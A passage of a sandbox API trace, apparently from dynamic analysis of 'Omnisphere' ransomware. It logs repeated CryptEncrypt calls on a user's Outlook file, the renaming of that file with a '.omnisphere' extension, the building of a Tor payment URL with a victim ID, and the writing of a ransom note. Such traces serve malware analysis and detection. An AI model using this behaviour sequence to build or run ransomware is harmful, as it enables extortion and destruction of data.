pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.674] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.674] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.677] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.678] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.679] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.680] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.681] CryptDestroyKey (hKey=0x1639b68) returned 1 [0116.681] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0116.681] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.681] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0116.681] GetProcessHeap () returned 0x1600000 [0116.681] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x29a) returned 0x1692a38 [0116.682] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.omnisphere")) returned 1 [0116.683] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.omnisphere.id" [0116.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0116.684] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0116.685] CloseHandle (hObject=0x288) returned 1 [0116.686] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.686] CloseHandle (hObject=0x28c) returned 1 [0116.686] SetEndOfFile (hFile=0x3a0) returned 1 [0116.687] FlushFileBuffers (hFile=0x3a0) returned 1 [0116.691] CloseHandle (hObject=0x3a0) returned 1 [0116.692] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook") returned 1 [0116.692] GetProcessHeap () returned 0x1600000 [0116.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1692ce0 [0116.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.692] GetProcessHeap () returned 0x1600000 [0116.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f3c8 [0116.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f3c8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.692] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.692] GetProcessHeap () returned 0x1600000 [0116.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687288 [0116.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.692] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.692] GetProcessHeap () returned 0x1600000 [0116.692] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162da78 [0116.692] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\!DECRYPT_OMNISPHERE.txt" [0116.692] GetProcessHeap () returned 0x1600000 [0116.693] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168c388 [0116.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.695] WriteFile (in: hFile=0x3a0, lpBuffer=0x168c388*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x168c388*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0116.697] CloseHandle (hObject=0x3a0) returned 1 [0116.697] GetProcessHeap () returned 0x1600000 [0116.697] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692ce0 | out: hHeap=0x1600000) returned 1 [0116.697] GetProcessHeap () returned 0x1600000 [0116.697] 